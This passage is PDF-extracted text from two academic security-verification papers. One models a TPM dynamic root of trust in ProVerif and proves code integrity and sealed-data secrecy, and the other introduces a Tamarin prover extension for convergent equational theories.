STM component of the state.

INIT. Only the CPU has the ability to load an INIT program on the platform.
PP. The PP program can be loaded by the CPU (the first equation for set pp)

or by an INIT program, if the latter is already loaded on the platform (the
second equation for set pp). Furthermore, the SMI in conjunction with
the STM can also modify the PP program, if the interrupts are enabled
(the third equation for set pp).
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LOCK. Similarly, the DRT lock can be set/unset by the CPU, by the running PP,
or by the SMI in conjunction with the STM, if the interrupts are enabled.

We denote by Estate the equational theory defined in this subsection.

4.5 Communication Channels

The public constant os models a communication channel for platform states and
other messages that may be intercepted, modified or provided by the intruder
as inputs to the CPU or the TPM. A private constant cpu tpm models the secure
channel between the CPU and the TPM. A private function tpm ch models the
ability of the CPU to establish a private channel between a loaded program and the
TPM. Generally, these channels will be of the form tpm ch(prog(t)) and the CPU
will send this term both to the program represented by prog(t) (on channel t)
and to the TPM (on channel cpu tpm). We also use message tags that will be
clear from the context.

4.6 The Trusted Platform Module

TPM = !TPMRESET | !TPMEXTEND | !TPMUNSEAL
TPMRESET = let (ch, rv)=(cpu tpm, pd) in !PCRRESET |

let (ch, rv) = (os, ps) in !PCRRESET
PCRRESET = in(ch, (reset req,nonce, pf state));

let new st = reset(pf state, tpm acc, rv) in
out(ch, (reset resp,nonce,new st))

TPMEXTEND = let ch = cpu tpm in !PCREXTEND |
let ch = os in !PCREXTEND |
! (in(cpu tpm, (ext channel, ch)); !PCREXTEND)

PCREXTEND = in(ch, (extend req,nonce, pf state, v));
let new st = extend(pf state, tpm acc, v) in
out(ch, (extend resp,nonce,new st))

TPMUNSEAL = in(os, pf state);
if lock(pf state) = true then

let ch = tpm ch(pp(pf state)) in UNSEAL
else let ch = os in UNSEAL

UNSEAL = in(ch, (tag unseal, blob));
let v = unseal(blob, pcr(pf state)) in
out(ch, (tag plain, v)))

Fig. 4. The TPM process

We model the TPM by
the process in Fig. 4. A
PCR reset request can
come either from the
CPU, and then the PCR
is reset to the value
pd marking a dynamic
root of trust, or else
from the operating sys-
tem. A PCR extend
request can come from
the CPU, from the oper-
ating system or from
a private channel that
the CPU can establish
between the TPM and
some other process. To
unseal a value, the
TPM relies on the value
of the PCR registers
recorded in the plat-
form state that is asso-
ciated to an unseal
request. The corresponding equation for unseal ensures that this operation will
succeed only if the PCR values from the state match the PCR values against which
plain data was sealed. If a DRT is running, we perform the unseal for the pro-
tected program PP, on the private channel tpm ch(pp(pf state)); otherwise, the
unsealed value is made public on channel os.
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4.7 Dynamic Root of Trust: Launch

CPU = ! (*** The CPU process ***)
(* Step 1: receive a DRT request *)
in(os, (drt req, init , pp, pf state))
if lock(pf state) = false then
let s′0 = set int(pf state, cpu acc, false) in
let s0 = set lock(s′0, cpu acc, true) in

(* Step 2: measure INIT and the STM *)
let measure = (h(init), h(stm(pf state))) in

(* Step 3: reset and extend the PCR *)
new nonce; out(cpu tpm, (reset req, nonce, s0));
in(cpu tpm, (reset resp, nonce, s1));
out(cpu tpm, (extend req, nonce, s1,measure));
in(cpu tpm, (extend resp, nonce, s2));
(*Step 4a: load INIT & grant TPM access*)
let s3 = set init(s2, cpu acc, init) in
let einit = get entry(init) in
out(einit , (nonce, s3, tpm ch(init), pp));
out(cpu tpm, (ext channel, tpm ch(init))));
(* Step 7b: establish TPM access for PP *)
in(einit , (drt resp, nonce,new state));
let epp = get entry(pp(new state)) in
out(epp, (new state, tpm ch(prog(epp))));
out(cpu tpm, (ext channel, tpm ch(prog(epp))))

INIT = (*** A trusted INIT program ***)
out(os, prog(Tinit)); out(os, prog(Tstm));
(* Step 4b: receive PP and TPM channel *)
in(Tinit, (nonce, pf st , tpmc, pp));
(* Steps 5-6: extend h(PP) into PCR *)
let measure = h(pp) in new nonce1;
out(tpmc, (extend req, nonce1, pf st ,measure));
in(tpmc, (extend resp, nonce1, ext st));
(* Step 7a: load PP on platform state *)
let new st = set pp(ext st , Tinit, pp) in
out(exp init, (drt resp, nonce,new st)));
out(os,new st)

Fig. 5. DRT process for CPU and INIT

The procedure for launch-
ing a dynamic root of
trust, i.e. steps 1–7 from
Fig. 1, is modeled by the
processes CPU and INIT,
from Fig. 5. The CPU re-
ceives a request includ-
ing the INIT and PP pro-
grams and the platform
state where the DRT is
to be launched. If a DRT
is not already running
in the corresponding plat-
form state, then the CPU
disables the interrupts and
sets the DRT lock (step 1).
Next, the CPU measures
the INIT and STM pro-
grams and extends the
result into the PCR (steps
2–3). In step 4a, the INIT
program is loaded and we
use the term tpm ch(init)
to model an established
private channel between
the TPM and the running
INIT program. We use the
program abstraction intro-
duced in Sect. 4.2 to model
the loading and the execu-
tion of INIT, relying on the
private constant Tinit. In
turn, the loaded INIT pro-
gram measures the PP pro-
gram, records the mea-
surement into the TPM,
and loads PP on the plat-
form state (steps 4b–7a).
After the INIT program
has measured the PP pro-
gram and loaded it into
memory, the CPU gets back
the new platform state and sets up the private channel for communication
between the loaded PP and the TPM (step 7b).
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4.8 Dynamic Root of Trust: Execution

PP = (* Example of protected program *)
(* Step 7c: launch and get TPM access *)
out(os, prog(Tpp)));
in(Tpp, (pf state0 , tpmc));
(* Re-enable interrupts *)
let pf st = set int(pf state0 , Tpp, true)
in out(os, pf st);

(* Step 8: unseal and decrypt *)
in(os, xseal); in(os, xenc);
out(tpmc, (tag unseal, xseal));
in(tpmc, (tag plain, xk));
let mess = sdec(xenc, xk) in out(os,mess);

(* Step 9: Ending the execution *)
new rand; out(tpmc, (extend req, rand, pf st ,⊥));
in(tpmc, (extend resp, rand, exts));
let ends = set lock(exts, Tpp, false) in
out(os, ends)

Fig. 6. DRT execution

We illustrate the execution
of a trusted PP program
with an example in Fig. 6,
where step 8 is an exam-
ple of some useful execu-
tion of PP, i.e., unsealing
and decrypting, whereas
the rest is behaviour we
expect from any protected
program. The private con-
stant Tpp represents the
private entry point of PP
according to the model
from Sect. 4.2.

In Fig. 7 we consider
a fresh symmetric key kpp
and assume that this key
has been sealed against
the measurement of the
trusted PP program, with
identity prog(Tinit), of
the trusted INIT program,
with identity prog(Tinit), and of the trusted STM program, with identity
prog(Tstm). This is represented by the term sealed key in the process DATA
(see the code in the figure below), which we publish on the channel os. We also
assume that some private message hipp is encrypted with kpp and senc(hipp, kpp)
is made publicly available on channel os.

In the context of a DRT, the program PP should be able to unseal the key kpp,
decrypt and publish hipp. Before the execution of PP ends, the DRT lock is set
to false, and also the PCR is extended with a dummy value in order to leave the
PCR in a state which is not to be trusted any more. We verify, in Sect. 4.9, that
secret DATA sealed for this program remains secret.

The SETUP process ties everything together, i.e., it loads and publishes an
initial state, and runs any DRT request from the operating system. We call EXEC,
all the processes put together, whereas the TPM is the one providing the trusted
functionalities of reset, extend, and unseal. We use DRT = (TPM | EXEC).

4.9 Security Properties in the Formal Model

Reachability. The reachability of a state in the platform can be expressed as
a (non-)secrecy property: a state is reachable when a corresponding state term
can be obtained by the attacker after interacting with the process DRT modulo
the theory Edrt = Edata ∪ Eprog ∪ Estate, expressed as a formula of the form

DRT |=Edrt
Att(state(Ttpm, Tcpu, Tsmram, Tdrt)).
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DATA = (* Seal and encrypt private data *)
new kpp; new hipp; out(os, senc(hipp, kpp));
let sealed key = seal(kpp, hchain) in out(os, sealed key);
(* where hchain = h(h(pd, (h(prog(Tinit)), h(prog(Tstm)))), h(prog(Tpp))) *)

SETUP = (* Launching the system *)
(* Load the initial state *)
in(os, xstm); in(os, xsmi);
out(os, state(tpm(ps), cpu(true,⊥), smram(xstm, xsmi), drt(⊥,⊥, false));
(* Run a DRT with any loaded programs *)
in(os, init); in(os, pp); in(os, pf state); out(os, (drt req, init, pp, pf state));

(* The main processes put together *)
EXEC = ( CPU | ! INIT | SETUP | DATA | ! PP ) DRT = ( TPM | EXEC )

Fig. 7. DRT setup and full process.

The property that the DRT = (TPM | EXEC) process can reach an expected state
where some trusted programs INIT and PP have been correctly measured and
loaded on the platform can be expressed as follows:

DRT |=Edrt
Att(state(
tpm(h((h((pd, v1)), v2))), cpu(true, x),
smram(prog(Tstm), prog(y))
drt(prog(Tinit), prog(Tpp), true)))

where
v1 = (h(prog(Tinit)),

h(prog(Tstm))
v2 = h(prog(Tpp)).

An additional reachability property of interest is whether the program PP has
succeeded to unseal the key kpp, decrypt the private message hipp and output
it on the public channel os. This is captured by the following (non-)secrecy
formula:

DRT |=Edrt
Att(hipp).

Code integrity. We say that the trusted platform ensures code integrity if
the measurement contained in the PCR value correctly reflects the state of the
platform. Specifically, we require that whenever a dynamic root of trust is active
with a PCR value of pd extended with the expected measurements v1 and v2,
then only the corresponding PP, INIT and STM are running on the platform, and
they cannot be modified. This can be expressed by the following correspondence
assertion, which we will denote by Φint in the rest of the paper:

DRT |=Edrt
Att(state(tpm(h((h((pd, v1)), v2))), cpu(x, y), smram(xstm, xsmi),

drt(xinit, xpp, true))) =⇒ (xinit, xpp, xstm) = (p1, p2, p3)

where p1 = prog(Tinit), p2 = prog(Tpp), p3 = prog(Tstm).
Note that we ensure the property only for trusted programs. Indeed, if any of

PP, INIT or STM are malicious, they could use their privileges to reach a platform
state that does not reflect the PCR values. This is fine, because the PCR values
will correctly record the identity of running programs in the chain of trust.
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In particular, our property shows that untrusted DRT programs cannot make the
PCR values record the measurement of trusted programs.

Secrecy of sealed data. We also verify that data sealed for PP, i.e. the key
kpp, remains secret (we denote this formula by Φsec):

(Φsec) DRT |=Edrt
Att(kpp) =⇒ false.

5 Process Transformation for Automated Verification

ProVerif does not terminate for the DRT process and the equational theory Edrt.
The main reason is the rewrite rule from Estate that allows an unbounded num-
ber of PCR extensions, reflecting a problem first noticed in [12]. In this section,
we propose a general transformation of processes that allows a more efficient
exploration of the search space by ProVerif. The transformation is based on a
general observation formalised in Proposition 1: we can replace a process P with
a process Q as input for ProVerif, as long as Q and P are equivalent with respect
to the security properties of interest. Concretely, we will replace the process DRT
with a process DRTb that bounds the number of PCR extensions, while allowing
a direct way for the attacker to set the PCR to any value that is bigger than the
considered bound.

For a process P , let Att(P ) = {T | P |= Att(T )} be the set of terms that
can be obtained by the attacker when interacting with P . For a set of terms M,
we let Att(M) = {T | M � T}. We notice the following.

Proposition 1. Let P,Q be processes and Att(T ) =⇒ Φ be a correspondence
assertion such that, for any substitution σ,

Tσ ∈ Att(P ) � Att(Q) =⇒ Φσ and Tσ ∈ Att(Q) � Att(P ) =⇒ Φσ.

Then we have: P |= Att(T ) =⇒ Φ if and only if Q |= Att(T ) =⇒ Φ.

The proof of Proposition 1 follows immediately from definitions, yet this
result is crucial to make our models amenable for ProVerif. We are thus allowed
to transform the process DRT into a process DRTb, that is equivalent to DRT with
respect to code integrity and secrecy properties Φint and Φsec, and whose search
space can be handled by ProVerif. It will be easier to express DRTb using some
additional rewrite rules. In conjunction with Proposition 1, we will then rely on
the following result for soundness and completeness:

Proposition 2. Let P be a process, E be an equational theory and Att(T ) =⇒
Φ be a correspondence assertion. Assume Eb is a set of rewrite rules such that
∀U → V ∈ Eb : top(U) ∈ Fpriv, i.e., is a private symbol. Then we have:

P |=E Att(T ) =⇒ Φ if and only if P |=E∪Eb Att(T ) =⇒ Φ.
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Notation. We denoted a term of the form h((. . . h((T0, T1))), . . . , Tn))
by chain(T0, . . . , Tn), using chain(T0) for T0. We define length
(chain(T0, . . . , Tn)) = n, representing the number of extensions of a PCR.

Problematic rewrite rule. We recall the rewrite rule that poses non-
termination problems for ProVerif:

extend(state(tpm(y), x1, x2, x3), tpm acc, v) → state(tpm(h((y, v))), x1, x2, x3)

Intuitively, ProVerif does not terminate because it is unable to make an abstract
reasoning about the introduction of the term h((y, v)) in the right hand side of
this rewrite rule. We propose a transformation of the TPM process into a process
TPMb that allows more values to be written into the PCR, overapproximating the
effect of the problematic rewrite rule. This transformation will be sound and
complete (satisfying the conditions of Proposition 1) based on the observation
that, once it exceeds a certain bound, the value of the PCR does not matter for
Φsec and Φint – thus, we can let the attacker have complete control over it.

Proposed transformation. For a given natural number b, we would like the
following behaviour of the TPMb process: if an extend request is received for a
platform state state(tpm(T1), T2, T3, T4) and a value V :

• if the length of the PCR is smaller than b, i.e. length(T1) < b, then execute
this request normally, using the function extend. The updated platform state
returned by the TPMb should now be state(tpm(h((T1, V ))), T2, T3, T4).

• if the length of the PCR value T1 is greater or equal to b, i.e. length(T1) ≥ b,
then output T1 and V to the attacker and wait for a new value T ′

1 as a
response. If the length of T ′

1 is big enough, i.e. length(T ′
1) > b, the updated

platform state returned by the TPMb should now be state(tpm(T ′
1), T2, T3, T4).

In a normal execution, we would have T ′
1 = h((T1, V )). However, the attacker

has the choice to set T ′
1 to any value.

Formally, the TPMb process relies on the private function is small to detect
if the value of the PCR is lower or higher than the bound, and treat the two cases
differently. The following set of rewrite rules, for all 0 ≤ i < b, define is small:
is small(chain(v0, . . . , vi)) → true, where v0 ∈ {ps, pd} and v1, . . . , vi are
mutually distinct variables. We also need to check if some value to be extended
into the PCR is big enough. For this, we introduce the private function is big,
together with the rewrite rule: is big(chain(v0, . . . , vb+1)) → true, where
v0, . . . , vb+1 are mutually distinct variables.

The only difference from the normal TPM process is in PCRbEXTEND, which first
detects if the current value of the PCR is small or big: if it is small, the extension
process proceeds normally (the process TPMSMALLEXTEND); if it is bigger than the given
bound, then the TPM requests that the operating system combines pcr and val
itself (the process TPMBIGEXTEND). Upon receiving the response from the os, the TPM
first checks that the value provided is indeed big (the compromised operating
system may be cheating). Only then, it updates the PCR to the requested value.

We denote by Eb
drt the equational theory Edrt augmented with the rules for

is small,is big and set pcr introduced in this section and we assume that
these new symbols are private (they are used only by TPMb).
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DRTb = TPMb | EXEC
TPMb = TPM { PCREXTEND �→ PCRbEXTEND }
PCRbEXTEND = in(ch, (= extend req, nonce, pf state, val));

let pcr = pcr(pf state) in
if is small(pcr) = true then PCRSMALLEXTEND else PCRBIGEXTEND

PCRSMALLEXTEND = let new st = extend(pf state, tpm acc, val) in
out(ch, (extend resp, nonce, new st))

PCRBIGEXTEND = out(os, (pcr, val)); in(os, new pcr)
if is big(new pcr) = true then

let new st = set pcr(pf state, tpm acc, new pcr) in
out(ch, (extend resp, nonce, new st))

5.1 Sketch of Correctness Proofs

We have to show that, for Φ ∈ {Φsec, Φint}, we have DRT |=Edrt
Φ ⇔ DRTb |=Eb

drt
Φ.

We note that soundness (direction ⇐) is the property that is necessary to derive
the security guarantees for DRT, while completeness is secondary: it explains
why we dont get false attacks against DRTb with ProVerif. Since Att(DRT) ⊆
Att(DRTb), soundness is easy to prove, while completeness requires careful analy-
sis of terms in Att(DRTb) � Att(DRT). We show that such terms are roughly lim-
ited to what we explicitly release in DRTb: state terms with big PCR values; they
cannot be used by the attacker to violate Φsec and Φint.

First, from Proposition 2 and the definition of Eb
drt, we can easily translate

between Edrt and Eb
drt, thus the notions and results that follow are modulo Eb

drt.

Corollary 1. For any Φ, we have DRT |=Edrt
Φ ⇔ DRT |=Eb

drt
Φ.

Terms T with top(T ) = state are called state terms (or states). For a
state term T =state(tpm(T1), cpu(T2, T3), smram(T3, T4), drt(T5, T6, T7)), we let
Comp(T )={T1, . . . , T7}. For a set of terms M1, we say that a set of state terms
M2 is M1-saturated if for any T ∈ M2 we have ∀U ∈ Comp(T ) : M1 � U .

Lemma 1. Let M1 be a set of terms and M2 be an M1-saturated set of state
terms. Then we have Att(M1 ∪ M2) = Att(M1) ∪ M2.

Lemma 1 formalizes the intuition that, without access to TPM or CPU, the only
operation that an attacker can perform on a state is to extract its components.
The proof follows by a straightforward inspection of rewrite rules. To help in the
sequel, we consider several restrictions of attacker’s power against DRTb:

• Att0(DRTb) is the set of terms that can be obtained by an attacker interacting
with DRTb, while not being allowed to use terms in Att(DRTb)�Att(DRT) when
constructing inputs for DRTb. That is, Att0(DRTb) can be seen as a passive
attacker with respect to the additional functionality in DRTb.

• Att1(DRTb) is the knowledge of the previous attacker whose power is aug-
mented with the ability to unseal terms from Att0(DRTb), with TPM UNSEAL,
relying on state terms from Att(DRTb)�Att(DRT). This attacker is not allowed
to use terms from Att(DRTb) � Att(DRT) in any other way.
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• Att2(DRTb) is the knowledge of a state respecting attacker against DRTb: the
attacker is given unrestricted access to DRTb and can use any terms from
Att(DRTb) � Att(DRT) to construct his inputs; however, the attacker can only
use state terms according to the specification of an honest behaviour while
interacting with the TPM, the CPU, or the equational theory.

Note that Att0(DRTb) ⊆ Att1(DRTb) ⊆ Att2(DRTb) ⊆ Att(DRTb). We denote
by Mb the set of state terms returned to the attacker by the PCRBIGEXTEND process.
Note that Mb is an Att(DRT)-saturated set of state terms with ∀T ∈ Mb :
length(pcr(T )) > b.

Lemma 2. For any b, we have Att(DRT) ⊆ Att0(DRTb) ⊆ Att(DRT) ∪ Mb.

The first inclusion follows easily from the definition of DRTb, which is able
to simulate any normal PCR extension performed by DRT, without access to
any terms in Att(DRTb) � Att(DRT). For the second inclusion, relying on the
fact that Mb is Att(DRT)-saturated, we use Lemma 1 to deduce Att0(DRTb) ⊆
Att(Att(DRT) ∪ Mb) ⊆ Att(DRT) ∪ Mb.

Lemma 3. For b ≥ 2, we have Att1(DRTb) ⊆ Att0(DRTb).

By definition, Att1(DRTb) � Att0(DRTb) ⊆ {U | seal(U, V ) ∈ Att0(DRTb)}.
Note that the only sealed term in Att0(DRTb) that does not originate from
the attacker is seal(kpp, hchain), with length(hchain) = 2. For any other
term seal(U, V ) ∈ Att0(DRTb), we have U ∈ Att0(DRTb), and therefore
U /∈ Att1(DRTb) � Att0(DRTb). From Lemma 2, the definition of TPMUNSEAL,
and the fact that ∀T ∈ Mb : length(pcr(T )) > b, we also deduce that
kpp /∈ Att1(DRTb) � Att0(DRTb), so we can conclude Att1(DRTb) ⊆ Att0(DRTb).

Lemma 4. For b ≥ 2, we have Att2(DRTb) ⊆ Att1(DRTb) ∪ Mb.

New terms U ∈ Att2(DRTb) come from using a state term V ∈ Att1(DRTb) in
TPMRESET,TPMEXTEND or CPU. From Lemmas 2 and 3, we have either V ∈ Att(DRT)
or V ∈ Mb. In both cases, we can show that U ∈ Att1(DRTb) ∪ Mb.

Corollary 2. For b ≥ 2, we have Att(DRT) ⊆ Att(DRTb) ⊆ Att(DRT)∪Mb∪Mf ,
where Mf is a set of terms such that any term T ∈ Mf contains a state term
T ′ with pcr(T ′) > b.

The set Mf represents the additional terms that a non state respecting attacker
can derive from Mb. The property of Mf is due to the fact that Eb

drt and the DRTb

process do not have effect on state terms that are used outside their intended
scope. Such terms will end up as harmless subterms of attacker’s knowledge.

Corollary 3. For b ≥ 2, DRT and DRTb satisfy the conditions of Proposition 1
with respect to both Φsec and Φint.
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Corollary 2 shows that it is sufficient to check that conditions of Proposition 1
are satisfied for terms T in Mb ∪ Mf . For Φsec, this follows from the fact that
such terms T are either state terms, or contain state terms, and therefore the
key kpp cannot be among them. For Φint, this follows from the fact that those
state terms have PCR lengths bigger than 2, while the precondition of Φint is a
state term with PCR length 2. From Corollary 3 and Proposition 1, we deduce:

Corollary 4. For Φ ∈ {Φsec, Φint}, we have DRT |=Eb
drt

Φ ⇔ DRTb |=Eb
drt

Φ.

From Corollaries 1 and 4, we conclude:

Theorem 1. For Φ ∈ {Φsec, Φint}, DRT |=Edrt
Φ ⇔ DRTb |=Eb

drt
Φ.

6 Verification

The ProVerif code for the DRTb process and the security properties defined in
Sects. 4 and 5 is available online2. It uses the equational theory Edata ∪ Eprog ∪
Eb
state, with b = 2. The verification of each security property terminates in order

of minutes, returning the expected result. From these results (implying there is
no attack on DRTb modulo Eb

drt) and from Theorem 1 (implying there is no attack
on DRT modulo Edrt), we derive:

Theorem 2. The DRT process satisfies, modulo Edata ∪ Eprog ∪ Estate, the prop-
erties of code integrity and data secrecy defined in Sect. 4.9.

In order to check the reachability properties DRT |= Φ defined in Sect. 4.9,
we give ¬(DRT |= Φ) as input query for ProVerif - an attack with respect to
this query would be a witness trace for the desired reachability property. When
returning such a trace, ProVerif can either confirm that it is valid (attack found)
or cannot confirm it. Our models fall in the latter case, and we have to further
inspect the output trace to see how its steps can be used to reconstruct a valid
trace: we do observe in the output trace the expected intermediary messages on
the channels cpu tpm and os, and we can follow the source of these messages
up to a dynamic root of trust request, of whose validity we have to again make
sure. By a similar analysis of attack traces returned by ProVerif, we can observe
the attacks of [13,29] in our models, when we allow the STM to be modified
arbitrarily.

7 Further Work

While our model takes into account at an abstract level the attacks and mit-
igations of [13,29], further refinements and soundness results are necessary in
order to be able to conclude that attacks such as these or as [30,31] are not pos-
sible in practice. We need to develop models that are abstract enough to allow
clear specifications and automated reasoning, and realistic enough to capture for
2 www.dropbox.com/s/cvq4op3w106868t/drt.pi (using ProVerif version 1.85).

www.dropbox.com/s/cvq4op3w106868t/drt.pi
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instance implementation flaws. We plan to see how the models of this paper can
be expressed in richer frameworks like StatVerif [3] and SAPIC [21], in order to
capture more closely the state semantics of real platforms. We think the process
transformation that we have presented in Sect. 5 is an instance of a more general
result, whose exploration would also be fruitful for future applications.
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Abstract. The Tamarin prover is a state-of-the-art protocol verifica-
tion tool. It supports verification of both trace and equivalence prop-
erties, a rich protocol specification language that includes support for
global, mutable state and allows the user to specify cryptographic prim-
itives as an arbitrary subterm convergent equational theory, in addition
to several built-in theories, which include, among others, Diffie-Hellman
exponentiation.

In this paper, we improve the underlying theory and the tool to allow
for more general user-specified equational theories: our extension sup-
ports arbitrary convergent equational theories that have the finite vari-
ant property, making Tamarin the first tool to support at the same time
this large set of user-defined equational theories, protocols with global
mutable state, an unbounded number of sessions, and complex security
properties. We demonstrate the effectiveness of this generalization by
analyzing several protocols that rely on blind signatures, trapdoor com-
mitment schemes, and ciphertext prefixes that were previously out of
scope.

1 Introduction

The goal of security protocols is to protect communications against malicious
behavior of third parties which may monitor or completely control the network,
and sometimes even legitimately participate in the protocol. Typical properties
that such protocols aim to achieve are confidentiality, authentication, as well as
anonymity or unlinkability. To this end, security protocols employ cryptographic
primitives. The most usual primitives are encryption and signatures, either sym-
metric or asymmetric, and cryptographic hash functions. Some security goals
may however require more advanced primitives: digital cash may rely on blind
signatures to ensure anonymity [21], e-voting protocols may use trapdoor com-
mitments [26] or plaintext equivalence tests [23] to achieve receipt-freeness, and
verifiability may rely on zero-knowledge proofs [1,23].

Effective tools, e.g., [4,9,10,15,19,22,25], for automated analysis of security
protocols exist, in particular in the case of simple authentication and confiden-
tiality goals, standard cryptographic primitives, and protocols that do not rely
c© Springer-Verlag GmbH Germany 2017
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on a global mutable state. There has been active research on extending the class
of properties that can be verified, e.g., by considering complex forms of compro-
mise [5], or the more expressive class of equivalence properties [6,7,10,12,28].
Many tools also support user-specified equational theories for modeling less usual
cryptographic primitives [9,10,19,25]. Finally, tool support has been devised for
protocols that allow for different sessions to update a global, mutable state [3,24].

The Tamarin prover [25] is a state-of-the-art cryptographic protocol veri-
fier which allows the user at the same time to specify complex security prop-
erties (both trace and equivalence properties), to model cryptographic primi-
tives by means of an equational theory, and allows protocols to maintain state
information. The class of equational theories supported by the tool is the class
of subterm-convergent equational theories, in addition to built-in theories for
Diffie-Hellman exponentiations, bilinear pairings, and multisets. While the class
of subterm-convergent theories includes many usual cryptographic primitives, it
does not include primitives such as blind signatures or trapdoor commitment
schemes.

Our contributions. In this paper we significantly extend the supported class of
equational theories in the Tamarin prover. We remove the restriction of sub-
term-convergent theories, and now permit an arbitrary convergent theory which
has the finite variant property. As the underlying problem is undecidable, we
cannot guarantee termination of course. More technically, our extension gener-
alizes (i) the underlying techniques used in the Tamarin prover to reason about
adversary knowledge, (ii) the normal form conditions that the Tamarin prover
imposes on traces to favor termination, and (iii) the correctness proof that the
set of considered traces remains complete.

We have implemented these extensions in the Tamarin prover and demon-
strate that, with our generalization, the tool succeeds to effectively analyze
diverse protocols that were previously out of scope of automated verification
in Tamarin.

– We studied Chaum’s digital cash protocol [11] which uses blind signatures
and whose modelling also requires the use of global state. We have verified
anonymity, untraceability, as well as unforgeability, which states that no coins
can be maliciously created. In previous work using ProVerif [18], the proof
of unforgeability could not be completed due to ProVerif’s difficulties in
handling state.

– We also analyzed the FOO e-voting protocol [21] which relies on blind sig-
natures. Vote privacy in this protocol could previously only be analyzed by
the AKiSs tool [10] and a recent extension of ProVerif [8]. Using our new
version of the Tamarin prover we have been able to also check vote privacy
(modeled as an equivalence property) and furthermore eligibility (modeled as
a trace property).

– We also verified the Okamoto e-voting protocol [26] which relies on trapdoor
commitments to achieve receipt-freeness. Voter anonymity of this protocol was
previously analyzed using the AKiSs tool, but is out of the scope of ProVerif
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which does not support the equational theory for trapdoor commitments. We
additionally provide the first automated proof of receipt-freeness for this pro-
tocol, which was previously only shown manually [16].

– Finally, we analyzed the Denning-Sacco and Needham-Schroeder symmetric
key protocols with an encryption scheme that has a prefix property, e.g., in
CBC mode, as described in [14]. As expected we have found known attacks
on these protocols when the prefix property is considered.

Related work. In terms of supported user-specified equational theories, our exten-
sion of the Tamarin prover is comparable to the AKiSs tool. While AKiSs
additionally guarantees termination for subterm-convergent theories, it is lim-
ited to a bounded number of sessions and does not support protocols with else
branches. There are only few tools for automated verification for an unbounded
number of sessions: Maude-NPA [19], Scyther [15], CPSA [22] and ProVerif
[9]. We will now discuss and compare our extension of Tamarin with each of
them.

Scyther [15] is restricted to a fixed set of cryptographic primitives and does
not allow for user-specified equational theories. Moreover, it neither supports
global mutable state nor verification of equivalence properties.

CPSA [22] was designed for analyzing, essentially, authentication and secrecy
properties. The tool was used, in combination with the theorem prover PVS, to
analyze stateful protocols [27]. However, like Scyther, it does neither support
user-defined equational theories nor the verification of equivalence properties.

Maude-NPA [19] offers support for many equational theories. Regarding con-
vergent theories, the support offered by Maude-NPA is comparable to our exten-
sion of the Tamarin prover, as it also relies on the finite variant property. Maude-
NPA treats algebraic properties, such as associative-commutative operators, in
a more generic way than Tamarin, which only offers support for built-in Diffie-
Hellman and bilinear pairing theories. However, Maude-NPA does not support
global mutable state.

ProVerif is the reference tool in protocol verification. It offers support
for user defined equational theories, and allows for the verification of a rich
variety of security properties. Moreover, the abstractions (based on a transla-
tion of applied pi calculus processes into Horn clauses) underlying the theory
of ProVerif make it extremely efficient. However, these abstractions may also
cause false attacks, which make the tool unsuitable to analyze protocols with
global state. An extension of ProVerif, called StatVerif [3], tries to over-
come this shortcoming. However, the support for stateful protocols that can be
effectively analyzed by StatVerif remains partial. For instance, only a fixed
number of state cells may be declared and non-termination arises frequently.
Moreover, only secrecy properties can be verified with StatVerif.

We also want to mention SAPiC [24], a front-end to Tamarin which permits
to specify protocols in a stateful extension of the applied pi calculus and has
been used successfully for stateful protocols. It will benefit from our extension
of Tamarin.
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Outline. We present necessary preliminaries in Sect. 2. Our extensions of the
theory and tool are described in Sect. 3, and we evaluate them with the case
studies shown in Sect. 4. We give concluding remarks in Sect. 5.

2 Preliminaries

We explain our model of protocols and their security properties and the adversary
deduction after covering the representation of messages as terms.

2.1 Representing Messages as Terms

As usual in symbolic analysis of cryptographic protocols we model messages and
operations on them by terms in an order-sorted term algebra, equipped with
an equational theory. We assume given a signature ΣOp defining operators and
their arity. Additionally, we use three sorts, a top sort msg with two incomparable
subsorts: terms of sort fr model nonces, keys, and random values in general; terms
of sort pub model publicly known values. For each sort s there is a countable set
of variables, Vs, and we call their union V. Similarly we suppose a countable set
of names Ns per sort, and denote their union by N . The set of terms TΣOp

(V,N )
contains variables in V, names in N , and is closed under application of operators
in ΣOp. A term t is ground when it contains no variables and we denote the set
of ground terms by TΣOp

(N ), or simply TΣOp
. We also use standard notations for

positions: a position p in t is a finite sequence of integers, the empty sequence
being denoted by [], and we write t|p for the subterm of t at position p, where
(1) if p = [], then t|p = t, (2) if p = [i] · p′, and t = f(t1, . . . , tn) for f ∈ ΣOp

and 1 ≤ i ≤ n then t|p = ti|p′ , and (3) otherwise t|p is not defined and p is not a
valid position. A substitution σ is a function from variables to terms. As usual,
we homomorphically lift σ to terms and use postfix notations, i.e., we write tσ
for σ(t).

For a signature ΣOp, an equation is an unordered pair of terms s, t ∈ TΣOp
(V)

written s = t. For a set of equations E over ΣOp the resulting equational presen-
tation is E = (ΣOp, E). We call the smallest ΣOp-congruence closure containing
all instances of E the corresponding equational theory, written =E . When it is
clear from the context we often drop the ΣOp and likewise write =E for the
equational theory =E . Two terms s and t are equal modulo E iff s =E t. For
all operations on sets, sequences and multisets we use the subscript E to denote
that this is to be considered modulo E. We write ∈E for set membership modulo
E for example.

We only consider equational theories that are convergent, i.e., confluent and
terminating, when oriented left to right. This implies that every term t has
a normal form denoted t ↓E . Such equational theories are additionally called
subterm-convergent when the right-hand side is either a ground term or a strict
subterm of the left-hand side.

Example 1. To model asymmetric signatures, let ΣOp be the signature consisting
of the functions sign(·, ·), checksign(·, ·) and pk(·) together with the equation
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checksign(sign(x, k), pk(k)) = x. This theory, denoted TAS , is subterm-
convergent.

We are also interested in equational theories with the finite variant property
(FVP) [13] of which subterm-convergent theories are a special case. When a
theory has the FVP, then for any term t we can compute a finite set t1, . . . , tn of
terms with the following property: for any substitution σ there exist i, θ such that
tσ↓E= tiθ. This pre-computation offers a way to get rid of the equational theory
and enables efficient symbolic protocol analysis. Tamarin uses this approach,
which is also why our extension still requires the finite variant property. More
precisely, the complete set of variants modulo E (which can be computed via
folding variant narrowing [20]) for a term t is denoted �t�E . By abuse of notation
we extend this to the variants of all protocol rules (which will be defined in
Sect. 2.2) for a protocol P and denote it �P �E . Next we give an example that
has the FVP, but is not subterm-convergent.

Example 2. To model blind signatures we extend TAS from Example 1 with two
operators unblind(·, ·) and blind(·, ·). To represent extracting an actual signature
from a blinded signature, we add the equation unblind(sign(blind(m, r), k), r) =
sign(m, k), with random r as blinding factor. Then, {t, sign(y, k)} is a complete
set of variants for the term t = unblind(sign(x, k), r). The second variant corre-
sponds to all instances of the term t[x �→ blind(y, r)]. In this additional equation
sign(m, k) is not a subterm of unblind(sign(blind(m, r), k), r), yielding a theory
which is not subterm convergent.

